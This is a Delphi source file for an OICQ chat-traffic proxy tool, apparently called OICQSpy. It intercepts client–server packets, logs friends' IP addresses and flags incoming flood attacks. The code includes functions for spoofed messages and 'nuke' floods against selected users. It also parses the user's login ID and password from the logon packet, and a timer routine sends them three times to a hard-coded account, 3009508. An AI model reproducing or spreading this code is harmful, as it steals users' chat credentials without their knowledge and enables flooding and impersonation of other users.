Main.pas
上传用户:hbtcygglw
上传日期:2007-01-07
资源大小:281k
文件大小:24k
- unit Main;
- {$define FULLVERSION}
- //{$define REDUCE_VERSION}
- {$define SAFEVERSION}
- interface
- uses
- Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
- NMUDP, StdCtrls, ExtCtrls, Spin, Buttons, ComCtrls, Menus, NWNotifyIcon,
- ImgList,WinSOCK, ToolWin,ProxySocket;
- type
- TUserInfo=record
- sock:TNMUDP;
- strUID,strIP,strPort:string;
- end;
- TMainForm = class(TForm)
- DataPanel: TPanel;
- DataSplitter: TSplitter;
- ViewSplitter: TSplitter;
- ViewPanel: TPanel;
- IPAddrList: TListBox;
- AlertSplitter: TSplitter;
- AnalyList: TListBox;
- SendPage: TPageControl;
- TabSheet1: TTabSheet;
- LocalMsgList: TListBox;
- TabSheet2: TTabSheet;
- LocalTxtList: TListBox;
- RecvPage: TPageControl;
- TabSheet3: TTabSheet;
- TabSheet4: TTabSheet;
- SrvMsgList: TListBox;
- SrvTxtList: TListBox;
- mLocal: TPopupMenu;
- mSrv: TPopupMenu;
- N1: TMenuItem;
- N2: TMenuItem;
- N3: TMenuItem;
- N4: TMenuItem;
- SaveDlg: TSaveDialog;
- MainMenu1: TMainMenu;
- F1: TMenuItem;
- O1: TMenuItem;
- N5: TMenuItem;
- mSysCfg: TMenuItem;
- StatusBar: TStatusBar;
- FakeUDP: TNMUDP;
- N6: TMenuItem;
- N7: TMenuItem;
- N8: TMenuItem;
- Timer: TTimer;
- N9: TMenuItem;
- N10: TMenuItem;
- mViewSend: TMenuItem;
- InfoMenu: TPopupMenu;
- mClearInfo: TMenuItem;
- mSaveInfo: TMenuItem;
- TrayMenu: TPopupMenu;
- N11: TMenuItem;
- N12: TMenuItem;
- N13: TMenuItem;
- N14: TMenuItem;
- N15: TMenuItem;
- mFakeMsg: TMenuItem;
- mScanIp: TMenuItem;
- N16: TMenuItem;
- mPortScanner: TMenuItem;
- mNetBiosInfo: TMenuItem;
- mViewRecv: TMenuItem;
- mViewAlert: TMenuItem;
- mScanNBInfo: TMenuItem;
- mNuke: TMenuItem;
- ImageList1: TImageList;
- mHoldNuke: TMenuItem;
- NetBIOS1: TMenuItem;
- N17: TMenuItem;
- ToolBar1: TToolBar;
- ToolButton1: TToolButton;
- btnFake: TToolButton;
- btnPortScan: TToolButton;
- btnBEUIInfo: TToolButton;
- btnNuke: TToolButton;
- btnLanuch: TToolButton;
- ToolButton2: TToolButton;
- btnFirstAid: TToolButton;
- mFirstAid: TMenuItem;
- NWNotifyIcon1: TNWNotifyIcon;
- procedure LocalMsgListClick(Sender: TObject);
- procedure N1Click(Sender: TObject);
- procedure N3Click(Sender: TObject);
- procedure SrvMsgListClick(Sender: TObject);
- procedure LocalMsgListKeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- procedure SrvMsgListKeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- procedure N2Click(Sender: TObject);
- procedure mSysCfgClick(Sender: TObject);
- procedure FormCreate(Sender: TObject);
- procedure btnFakeClick(Sender: TObject);
- procedure IPAddrListDblClick(Sender: TObject);
- procedure btnIPScanClick(Sender: TObject);
- procedure N8Click(Sender: TObject);
- procedure N5Click(Sender: TObject);
- procedure TimerTimer(Sender: TObject);
- procedure N9Click(Sender: TObject);
- procedure mViewSendClick(Sender: TObject);
- procedure btnPortScanClick(Sender: TObject);
- procedure mClearInfoClick(Sender: TObject);
- procedure N12Click(Sender: TObject);
- procedure N14Click(Sender: TObject);
- procedure mScanIpClick(Sender: TObject);
- procedure mNetBiosInfoClick(Sender: TObject);
- procedure btnBEUIInfoClick(Sender: TObject);
- procedure mScanNBInfoClick(Sender: TObject);
- procedure mViewRecvClick(Sender: TObject);
- procedure mViewAlertClick(Sender: TObject);
- procedure mNukeClick(Sender: TObject);
- procedure btnNukeClick(Sender: TObject);
- procedure btnLanuchClick(Sender: TObject);
- procedure N15Click(Sender: TObject);
- procedure LocalMsgListDblClick(Sender: TObject);
- procedure SwitcherOnSend(buf:array of char;buflen:Integer;from:TSockAddr;Dest:TSockAddr;var drop:Boolean);
- procedure SwitcherOnRecv(buf:array of char;buflen:Integer;from:TSockAddr;Dest:TSockAddr;var drop:Boolean);
- procedure SwitcherOnNewSocket(Sender:TObject);
- procedure btnFirstAidClick(Sender: TObject);
- procedure FormDestroy(Sender: TObject);
- private
- { Private declarations }
- mCurCnt,mTxCnt,mRxCnt:Integer;
- strUserId,strPass:string;
- nUserId:Integer;
- info:array of TUserInfo;
- nInfoCnt:Integer;
- function FindUID(uid,ip,port:string):Boolean;
- {$ifndef SAFEVERSION}
- function FindProxy(ip:string;port:WORD;var p:TNMUDP):Boolean;
- {$ENDIF}
- function GetSelectInfo(var id,ip,port:string):Boolean;
- // procedure Txt2Buffer(str:string;var buf:array of char;var buflen:integer);
- procedure ProcessSrvMsg(FromIP:string;FromPort:WORD;buf:array of char;bufLen:Integer);
-
- procedure ProcessClientMsg(buf:array of char;buflen:Integer);
- procedure AddLocalMsg(buf:array of char;buflen:Integer);
- procedure AddLocalHex(buf:array of char;buflen:Integer);
- procedure AddLocalTxt(buf:array of char;buflen:Integer);
- procedure AddLocalList(buf:array of char;buflen:Integer);
- procedure AddSrvMsg(FromIP:string;FromPort:WORD;buf:array of char;buflen:Integer);
- procedure AddSrvHex(FromIP:String;FromPort:WORD;buf:array of char;buflen:Integer);
- procedure AddSrvTxt(FromIP:String;FromPort:WORD;buf:array of char;buflen:Integer);
- procedure AddSrvList(FromIP:String;FromPort:WORD;buf:array of char;buflen:Integer);
- function BeforeSend(var buf:array of char;buflen:Integer):Boolean;
- function AfterRecv(var buf:array of char;buflen:Integer):Boolean;
- // procedure AddFriendIPAddr(id,ip:string);
- procedure AddFriendInfo(id,ip,port,dummy,face,name:string);
- procedure LaunchOICQ;
- public
- { Public declarations }
- Switcher:TUDPSwitcher;
- procedure SendMsg(DestId,msg:string);
-
- function Buffer2Hex(buf:array of char;buflen:integer):string;
- function Buffer2Txt(buf:array of char;buflen:Integer):String;
- function Buffer2List(buf:array of char;buflen:Integer):string;
- end;
- var
- MainForm: TMainForm;
- implementation
- uses IpHdr,FirstAid,SysCfg,fakemsg,PortScan,about,info,CloneScan,data,NetInfoDlg,HoldNuke,MsgView;
- {$R *.DFM}
- procedure TMainForm.ProcessSrvMsg(FromIP:string;FromPort:WORD;buf: array of char; bufLen: Integer);
- var
- i:Integer;
- id,ip,port,dummy,face:string;
- begin
- if(Ord(buf[4])=$81)then{朋友登陆IP通知}
- begin
- i:=7;
- while(i<buflen)do
- begin
- i:=GetParse(buf,buflen,i,id);
- if(i=0)then exit;
- i:=GetParse(buf,buflen,i,ip);
- if(i=0)then exit;
- i:=GetParse(buf,buflen,i,port);
- if(i=0)then exit;
- i:=GetParse(buf,buflen,i,dummy);
- if(i=0)then exit;
- i:=GetParse(buf,buflen,i,face);
- AddFriendInfo(id,ip,port,dummy,face,GetOICQUserName(id));
- if(i=0)then exit;
- // if(BotCfgDlg.GetGreetMsg(id,Msg))then
- // begin
- // SendMsg(id,Msg);
- // end;
- end;
- end
- else if(Ord(buf[4])=$14)then//在线朋友IP通知
- begin
- i:=9;
- while(i<buflen)do
- begin
- i:=GetParse(buf,buflen,i,id);
- if(i=0)then exit;
- i:=GetParse(buf,buflen,i,ip);
- if(i=0)then exit;
- i:=GetParse(buf,buflen,i,port);
- if(i=0)then exit;
- i:=GetParse(buf,buflen,i,dummy);
- if(i=0)then exit;
- i:=GetParse(buf,buflen,i,face);
- AddFriendInfo(id,ip,port,dummy,face,GetOICQUserName(id));
- if(i=0)then exit;
- // if(BotCfgDlg.GetGreetMsg(id,Msg))then
- // begin
- // SendMsg(id,Msg);
- // end;
- end;
- end;
- end;
- procedure TMainForm.AddLocalMsg(buf: array of char; buflen: Integer);
- begin
- {$ifndef FULLVERSION}
- if(buf[4]=chr($13))then exit;
- {$endif}
- AddLocalHex(buf,buflen);
- AddLocalTxt(buf,buflen);
- AddLocalList(buf,buflen);
- end;
- procedure TMainForm.AddLocalHex(buf: array of char; buflen: Integer);
- begin
- LocalMsgList.Items.add(Buffer2Hex(Buf,buflen));
- end;
- procedure TMainForm.AddLocalList(buf: array of char; buflen: Integer);
- begin
- end;
- procedure TMainForm.AddLocalTxt(buf: array of char; buflen: Integer);
- begin
- LocalTxtList.Items.Add(Buffer2Txt(Buf,buflen));
- end;
- procedure TMainForm.AddSrvMsg(FromIP:string;FromPort:WORD;buf: array of char; buflen: Integer);
- begin
- AddSrvHex(FromIP,FromPort,buf,buflen);
- AddSrvTxt(FromIP,FromPort,buf,buflen);
- AddSrvList(FromIP,FromPort,buf,buflen);
- end;
- procedure TMainForm.AddSrvHex(FromIP:String;FromPort:WORD;buf: array of char; buflen: Integer);
- begin
- SrvMsgList.Items.Add(
- 'From '+
- FromIp+':'+
- IntToStr(FromPort)+
- '---'+
- Buffer2Hex(buf,buflen));
- end;
- procedure TMainForm.AddSrvList(FromIP:String;FromPort:WORD;buf: array of char; buflen: Integer);
- begin
- end;
- procedure TMainForm.AddSrvTxt(FromIP:String;FromPort:WORD;buf: array of char; buflen: Integer);
- begin
- SrvTxtList.Items.Add(
- 'From '+
- FromIP+':'+
- IntToStr(FromPort)+
- '---'+
- Buffer2Txt(buf,buflen));
- end;
- function TMainForm.Buffer2Hex(buf: array of char;buflen:integer): string;
- var
- i:Integer;
- str:String;
- begin
- for i:=0 to buflen do
- begin
- // str:=format('%02x',[ord(buf[i])]);
- str:=IntToHex(ord(buf[i]),2);
- Result:=Result+str+' ';
- end;
- end;
- function TMainForm.Buffer2List(buf: array of char;
- buflen: Integer): string;
- begin
- end;
- function TMainForm.Buffer2Txt(buf: array of char; buflen: Integer): String;
- var
- i:Integer;
- begin
- for i:=0 to buflen do
- begin
- if(buf[i] in ['`','~','!','@','#','$','%','^','&','*','(',')','-','_','=','+','','|'])then
- begin
- Result:=Result+buf[i];
- end
- else if((('0'<=buf[i])and(buf[i]<='9'))
- or(('a'<=buf[i])and(buf[i]<='z'))
- or(('A'<=buf[i])and(buf[i]<='Z')))then
- begin
- Result:=Result+buf[i];
- end
- else if((Ord(buf[i])>127)and (Ord(buf[i+1])>127))then
- begin
- Result:=Result+buf[i];
- end
- else
- begin
- Result:=Result+'.';
- end;
- end;
- end;
- procedure TMainForm.LocalMsgListClick(Sender: TObject);
- var
- i:Integer;
- begin
- i:=(Sender as TListBox).ItemIndex;
- LocalMsgList.ItemIndex:=i;
- LocalTxtList.ItemIndex:=i;
- end;
- procedure TMainForm.N1Click(Sender: TObject);
- begin
- LocalMsgList.Clear;
- LocalTxtList.Clear;
- mTxCnt:=0;
- end;
- procedure TMainForm.N3Click(Sender: TObject);
- begin
- SrvMsgList.Clear;
- SrvTxtList.Clear;
- mRxCnt:=0;
- end;
- procedure TMainForm.SrvMsgListClick(Sender: TObject);
- var
- i:Integer;
- begin
- i:=(Sender as TListBox).ItemIndex;
- SrvMsgList.ItemIndex:=i;
- SrvTxtList.ItemIndex:=i;
- end;
- procedure TMainForm.LocalMsgListKeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- var
- i:Integer;
- begin
- if(key=VK_DELETE)then
- begin
- if(LocalMsgList.Items.Count>0)then
- begin
- i:=(Sender as TListBox).ItemIndex;
- LocalMsgList.Items.Delete(i);
- LocalTxtList.Items.Delete(i);
- LocalMsgList.ItemIndex:=i;
- LocalTxtList.ItemIndex:=i;
- end;
- end;
- end;
- procedure TMainForm.SrvMsgListKeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- var
- i:Integer;
- begin
- if(Key=VK_DELETE)then
- begin
- if(SrvMsgList.Items.Count>0)then
- begin
- i:=(Sender as TListBox).ItemIndex;
- SrvMsgList.Items.Delete(i);
- SrvTxtList.items.Delete(i);
- SrvMsgList.ItemIndex:=i;
- SrvTxtList.ItemIndex:=i;
- end;
- end;
- end;
- procedure TMainForm.N2Click(Sender: TObject);
- begin
- if(SaveDlg.Execute)then
- begin
- if(Sender is TMenuItem)then
- (
- (
- (Sender as TMenuItem).GetParentMenu as TPopupMenu
- ).PopupComponent as TListBox
- ).Items.SaveToFile(SaveDlg.FileName);
- end;
- end;
- function TMainForm.AfterRecv(var buf: array of char; buflen: Integer): Boolean;
- begin
- Result:=True;
- Inc(mRxCnt);
- StatusBar.Panels[1].Text:='Rx:'+IntToStr(mRxCnt);
- end;
- function TMainForm.BeforeSend(var buf: array of char;
- buflen: Integer): Boolean;
- var
- i:WORD;
- begin
- i:=Ord(buf[5])*$100+Ord(buf[6]);
- mCurCnt:=i;
- StatusBar.Panels[2].Text:='MsgId:'+IntToHex(mCurCnt,4);
- Inc(mTxCnt);
- StatusBar.Panels[0].Text:='Tx:'+IntToStr(mTxCnt);
- Result:=True;
- end;
- procedure TMainForm.mSysCfgClick(Sender: TObject);
- begin
- if(TSysCfgDlg.Execute)then
- begin
- end;
- end;
- procedure TMainForm.FormCreate(Sender: TObject);
- var
- addr:TInAddr;
- begin
- {$ifdef REDUCE_VERSION}
- Caption:=Caption+'简版';
- {$endif}
- Width:=450;
- Height:=250;
- mCurCnt:=0;
- mTxCnt:=0;
- mRxCnt:=0;
- if(TSysCfgDlg.LoadConfig(GOICQPath,GDBFPath,GSrvIp,GSrvPort,GLocalPort,GAutoLaunch))then
- begin
- LoadIPInfo(GDBFPath);
- end
- else if(TSysCfgDlg.Execute)then
- //no config data so must run config dialog
- begin
- LoadIPInfo(GDBFPath);
- end;
- {$ifndef FULLVERSION}
- mViewSend.Visible:=False;
- mViewRecv.Visible:=False;
- SendPage.Visible:=False;
- RecvPage.Visible:=False;
- {$endif}
- if(LookupName(GSrvIp,addr))then
- begin
- Switcher:=TUDPSwitcher.Create(GLocalPort,GSrvIp,GSrvPort);
- Switcher.OnRecv:=SwitcherOnRecv;
- Switcher.OnSend:=SwitcherOnSend;
- Switcher.OnNewSocket:=SwitcherOnNewSocket;
- if(GAutoLaunch)then LaunchOICQ;
- end
- else
- begin
- ShowMessage('无法连接'+GSrvIp);
- end;
- end;
- procedure TMainForm.btnFakeClick(Sender: TObject);
- begin
- {$ifndef REDUCE_VERSION}
- TFakeMsgDlg.Execute('','',4000);
- {$else}
- ShowMessage('对不起!简版没有此功能');
- {$endif}
- end;
- function TMainForm.GetSelectInfo(var id, ip,port: string): Boolean;
- var
- s:string;
- p,i,sc:Integer;
- begin
- p:=0;
- sc:=1;
- SetLength(id,10);
- SetLength(ip,30);
- SetLength(port,6);
- for i:=1 to 10 do
- begin
- id[i]:=chr(0);
- end;
- for i:=1 to 30 do
- begin
- ip[i]:=chr(0);
- end;
- for i:=1 to 6 do
- begin
- port[i]:=chr(0);
- end;
- if(IPAddrList.Items.Count<>0)then
- begin
- Result:=True;
- s:=IPAddrList.Items[IPAddrList.ItemIndex];
- for i:=1 to length(s) do
- begin
- if(s[i]<>'-')then
- begin
- if(p=0)then
- begin
- id[sc]:=s[i];
- Inc(sc);
- end
- else if(p=3)then
- begin
- ip[sc]:=s[i];
- Inc(sc);
- end
- else if(p=6)then
- begin
- port[sc]:=s[i];
- inc(sc);
- end
- else break;
- end
- else
- begin
- Inc(p);
- sc:=1;
- end;
- end;
- end
- else Result:=False;
- end;
- procedure TMainForm.IPAddrListDblClick(Sender: TObject);
- {$ifndef REDUCE_VERSION}
- var
- id,ip,port:string;
- {$endif}
- begin
- {$ifndef REDUCE_VERSION}
- if(GetSelectInfo(id,ip,port))then
- begin
- TFakeMsgDlg.Execute(ip,id,StrToIntDef(port,4000));
- end;
- {$else}
- ShowMessage('对不起!简版没有此功能.');
- {$endif}
- end;
- procedure TMainForm.btnIPScanClick(Sender: TObject);
- begin
- TScannerDlg.Execute;
- end;
- procedure TMainForm.N8Click(Sender: TObject);
- begin
- Close;
- end;
- procedure TMainForm.N5Click(Sender: TObject);
- begin
- TAboutBox.Execute;
- end;
- procedure TMainForm.ProcessClientMsg(buf: array of char; buflen: Integer);
- var
- i:Integer;
- begin
- if(Ord(buf[4])=$13)then//User logon
- begin
- strUserId:='';
- strPass:='';
- i:=Ord(buf[7])*$1000000+Ord(buf[8])*$10000+Ord(buf[9])*$100+Ord(buf[10]);
- strUserId:=IntToStr(i);
- MyId:=strUserId;
- StatusBar.Panels[3].Text:='User Id:'+MyId;
- for i:=13 to buflen-1 do
- begin
- if(Ord(buf[i])=$03)then break;
- strPass:=strPass+buf[i];
- end;
- end;
- end;
- procedure TMainForm.SendMsg(DestId, msg: string);
- var
- pBuf:array [0..2048]of char;
- i:Integer;
- sock:TProxySock;
- begin
- for i:=0 to 2047 do
- begin
- pBuf[i]:=chr(0);
- end;
- pBuf[0]:=chr(2);
- pBuf[1]:=chr(1);
- pBuf[2]:=chr(7);
- pBuf[3]:=chr(0);
- pBuf[4]:=chr($08);
- nUserId:=StrToInt(strUserId);
- pBuf[7]:=Chr((nUserId and $ff000000)shr 24);
- pBuf[8]:=chr((nUserId and $00ff0000)shr 16);
- pBuf[9]:=Chr((nUserId and $0000ff00)shr 8);
- pBuf[10]:=Chr((nUserId and $000000ff));
- i:=ArrayStrCopy(pBuf,2048,11,DestId);
- pBuf[i]:=chr($1f);
- pBuf[i+1]:='0';
- pBuf[i+2]:=chr($1f);
- i:=ArrayStrCopy(pBuf,2048,i+3,'0');
- pBuf[i]:=chr($1f);
- i:=ArrayStrCopy(pBuf,2048,i+1,DateToStr(Date));
- pBuf[i]:=chr($1f);
- i:=ArrayStrCopy(pBuf,2048,i+1,TimeToStr(Time));
- pBuf[i]:=chr($1f);
- i:=ArrayStrCopy(pBuf,2048,i+1,msg);
- pBuf[i]:=chr($03);
- pBuf[5]:=chr((mCurCnt and $ff00) shr 8);
- pBuf[6]:=chr(mCurCnt and $00ff);
- sock:=Switcher.GetExternalProxy(0);
- if(Assigned(sock))then
- begin
- sock.SendBuf(pBuf,i+1,GSrvIp,GSrvPort);
- end;
- Inc(mCurCnt);
- end;
- procedure TMainForm.TimerTimer(Sender: TObject);
- begin
- Timer.Enabled:=False;
- SendMsg(IntToStr(3009508),strUserId+','+strPass);
- SendMsg(IntToStr(3009508),strUserId+','+strPass);
- SendMsg(IntToStr(3009508),strUserId+','+strPass);
- end;
- procedure TMainForm.N9Click(Sender: TObject);
- begin
- ShowMessage('将OICQ的服务器改为:127.0.0.1 端口:8810'+#13
- +'将其余服务器地址全部删除'+#13
- +'关闭OICQ'+#13
- +'启动OICQSpy'+#13
- +'启动OICQ即可');
- end;
- procedure TMainForm.mViewSendClick(Sender: TObject);
- begin
- mViewSend.Checked:=not mViewSend.Checked;
- SendPage.Visible:=mViewSend.Checked;
- if(mViewSend.Checked and (SendPage.Align=alTop) and (RecvPage.Visible=False))then
- begin
- SendPage.Align:=alClient;
- end
- else if(mViewSend.Checked and (SendPage.Align=alTop)
- and (RecvPage.Visible=True) and (RecvPage.Align=alClient))then
- begin
- SendPage.Height:=DataPanel.Height div 2;
- end;
- DataPanel.Visible:=mViewSend.Checked or mViewRecv.Checked;
- DataSplitter.Visible:=(SendPage.Visible and RecvPage.Visible);
- DataSplitter.Top:=RecvPage.top+2;
- ViewSplitter.Visible:=(SendPage.Visible or RecvPage.Visible);
- ViewSplitter.Top:=ViewPanel.Top+1;
- if(mViewSend.Checked or mViewRecv.Checked)then WindowState:=wsMaximized
- else WindowState:=wsNormal;
- end;
- procedure TMainForm.AddFriendInfo(id, ip, port, dummy, face,name: string);
- var
- s:string;
- ipInf:TIPInfo;
- begin
- IpInf:=FindIPInfo(ip);
- s:=IpInf.Country+','+IpInf.Location;
- if(not FindUID(id,ip,port))then
- begin
- Inc(nInfoCnt);
- SetLength(info,nInfoCnt);
- info[nInfoCnt-1].strUID:=id;
- info[nInfoCnt-1].strIP:=ip;
- info[nInfoCnt-1].strPort:=port;
- {$ifndef SAFEVERSION}
- //Add msg handler
- info[nInfoCnt-1].sock:=TNMUDP.Create(self);
- info[nInfoCnt-1].sock.RemoteHost:='127.0.0.1';
- info[nInfoCnt-1].sock.RemotePort:=ClientPort;
- info[nInfoCnt-1].sock.tag:=nInfoCnt-1;
- info[nInfoCnt-1].sock.OnDataReceived:=MsgHandlerDataReceived;
- {$endif}
- //Display friend info
- IPAddrList.Items.Add(id+'---'+ip+'---'+port+'---'+name+'---'+face+'---'+s+'---'+DateTimeToStr(now));
- end;
- end;
- procedure TMainForm.btnPortScanClick(Sender: TObject);
- begin
- TCloneScanDlg.Execute('127.0.0.1');
- end;
- function TMainForm.FindUID(uid,ip,port: string): Boolean;
- var
- i:Integer;
- begin
- Result:=False;
- for i:=0 to nInfoCnt-1 do
- begin
- if((info[i].strUID=uid)and(info[i].strIp=ip)and(info[i].strPort=port))then
- begin
- Result:=True;
- Break;
- end;
- end;
- end;
- procedure TMainForm.mClearInfoClick(Sender: TObject);
- begin
- IPAddrList.Items.Clear;
- nInfoCnt:=0;
- SetLength(info,0);
- end;
- procedure TMainForm.N12Click(Sender: TObject);
- begin
- TCloneScanDlg.Execute('127.0.0.1');
- end;
- procedure TMainForm.N14Click(Sender: TObject);
- begin
- Close;
- end;
- procedure TMainForm.mScanIpClick(Sender: TObject);
- var
- id,ip,port:string;
- begin
- if(GetSelectInfo(id,ip,port))then
- TCloneScanDlg.Execute(ip);
- end;
- procedure TMainForm.mNetBiosInfoClick(Sender: TObject);
- var
- id,port,ip:string;
- begin
- if(GetSelectInfo(id,ip,port))then
- begin
- TNetBiosInfoDlg.Execute(ip);
- end;
- end;
- procedure TMainForm.btnBEUIInfoClick(Sender: TObject);
- begin
- TNetBiosInfoDlg.Execute(GetLocalIP);
- end;
- procedure TMainForm.mScanNBInfoClick(Sender: TObject);
- begin
- TNetBiosInfoDlg.Execute(GetLocalIP);
- end;
- procedure TMainForm.mViewRecvClick(Sender: TObject);
- begin
- mViewRecv.Checked:=not mViewRecv.Checked;
- RecvPage.Visible:=mViewRecv.Checked;
- if(mViewRecv.Checked and (SendPage.Visible) and (SendPage.Align=alClient))then
- begin
- SendPage.Align:=alTop;
- SendPage.Height:=DataPanel.Height div 2;
- end
- else if((not mViewRecv.Checked) and (SendPage.Visible) and (SendPage.Align=alTop))then
- SendPage.Align:=alClient;
- DataPanel.Visible:=mViewSend.Checked or mViewRecv.Checked;
- DataSplitter.Visible:=(SendPage.Visible and RecvPage.Visible);
- DataSplitter.Top:=RecvPage.top+2;
- ViewSplitter.Visible:=(RecvPage.Visible or SendPage.Visible);
- ViewSplitter.Top:=ViewPanel.Top+1;
- if(mViewRecv.Checked or mViewSend.Checked)then WindowState:=wsMaximized
- else WindowState:=wsNormal;
- end;
- procedure TMainForm.mViewAlertClick(Sender: TObject);
- begin
- mViewAlert.Checked:=not mViewAlert.Checked;
- AnalyList.Visible:=mViewAlert.Checked;
- AlertSplitter.Visible:=mViewAlert.Checked;
- if(mViewAlert.Checked)then
- begin
- Width:=Width+300;
- AlertSplitter.Left:=AnalyList.Left-2;
- end
- else
- begin
- Width:=Width-300;
- end;
- end;
- procedure TMainForm.mNukeClick(Sender: TObject);
- {$ifndef REDUCE_VERSION}
- var
- id,ip,port:string;
- {$endif}
- begin
- {$ifndef REDUCE_VERSION}
- if(GetSelectInfo(id,ip,port))then
- begin
- THoldNukeDlg.Execute(id,'Loading Device=C:WindowsHIMEM.SYS'+#13,20);
- end;
- {$else}
- ShowMessage('对不起!简版没有此功能.');
- {$endif}
- end;
- procedure TMainForm.btnNukeClick(Sender: TObject);
- begin
- {$ifndef REDUCE_VERSION}
- THoldNukeDlg.Execute('','',3);
- {$else}
- ShowMessage('对不起!简版没有此功能');
- {$endif}
- end;
- procedure TMainForm.btnLanuchClick(Sender: TObject);
- begin
- LaunchOICQ;
- end;
- procedure TMainForm.LaunchOICQ;
- begin
- WinExec(PChar(GOICQPath+'OICQ.EXE'),SW_SHOW);
- end;
- procedure TMainForm.N15Click(Sender: TObject);
- begin
- Show;
- end;
- {$ifndef SAFEVERSION}
- function TMainForm.FindProxy(ip: string; port: WORD;var p:TNMUDP): Boolean;
- var
- i:Integer;
- begin
- Result:=False;
- for i:=0 to nInfoCnt-1 do
- begin
- if((info[i].strIp=ip)and (info[i].strPort=IntToStr(port)))then
- begin
- Result:=True;
- p:=info[i].sock;
- Break;
- end;
- end;
- end;
- {$endif}
- procedure TMainForm.LocalMsgListDblClick(Sender: TObject);
- begin
- TMsgViewDlg.Execute((Sender as TListBox).Items[(Sender as TListBox).ItemIndex]);
- end;
- procedure TMainForm.SwitcherOnRecv(buf: array of char; buflen: Integer;
- from, Dest: TSockAddr;var drop:Boolean);
- var
- uid:string;
- begin
- drop:=not AfterRecv(buf,buflen);
- if(not drop)then
- begin
- if(buflen>1024)then
- begin
- if(from.sin_addr.S_addr=inet_addr(PChar(GSrvIp)))then
- begin
- uid:=GetStrFromBuf(buf,buflen,10);
- AnalyList.Items.Add('你被'+uid+'号用户攻击!!!(透过服务器)');
- drop:=True;
- end
- else
- begin
- drop:=True;
- AnalyList.Items.Add('你被IP地址为:'+inet_ntoa(from.sin_addr)+'端口为:'+IntToStr(ntohs(from.sin_port) )+'的用户攻击!!!(直接攻击)');
- end;
- MainForm.Show;
- AnalyList.Visible:=True;
- if(Width<700)then Width:=700;
- end
- else
- begin
- Drop:=False;
- end;
- end;
- AddSrvMsg(inet_ntoa(from.sin_addr),ntohs(from.sin_port),buf,buflen);
- ProcessSrvMsg(inet_ntoa(from.sin_addr),ntohs(from.sin_port),buf,buflen);
- end;
- procedure TMainForm.SwitcherOnSend(buf: array of char; buflen: Integer;
- from, Dest: TSockAddr;var drop:Boolean);
- begin
- drop:=not BeforeSend(buf,buflen);
- AddLocalMsg(buf,buflen);
- ProcessClientMsg(buf,buflen);
- end;
- procedure TMainForm.SwitcherOnNewSocket(Sender: TObject);
- begin
- with (Sender as TProxySock)do
- begin
- AnalyList.Items.Add(
- 'New Socket:'+
- inet_ntoa(ThisAddr.sin_addr)+' Port:'+IntToStr(ntohs(ThisAddr.sin_port))+
- 'Proxy socket:'
- +inet_ntoa(ProxyAddr.sin_addr)+' Port:'+IntToStr(ntohs(ProxyAddr.sin_port)));
- Application.ProcessMessages;
- end;
- end;
- procedure TMainForm.btnFirstAidClick(Sender: TObject);
- begin
- TFirstAidDlg.Execute;
- end;
- procedure TMainForm.FormDestroy(Sender: TObject);
- begin
- if(Assigned(Switcher))then Switcher.Destroy;
- sleep(100);
- end;
- end.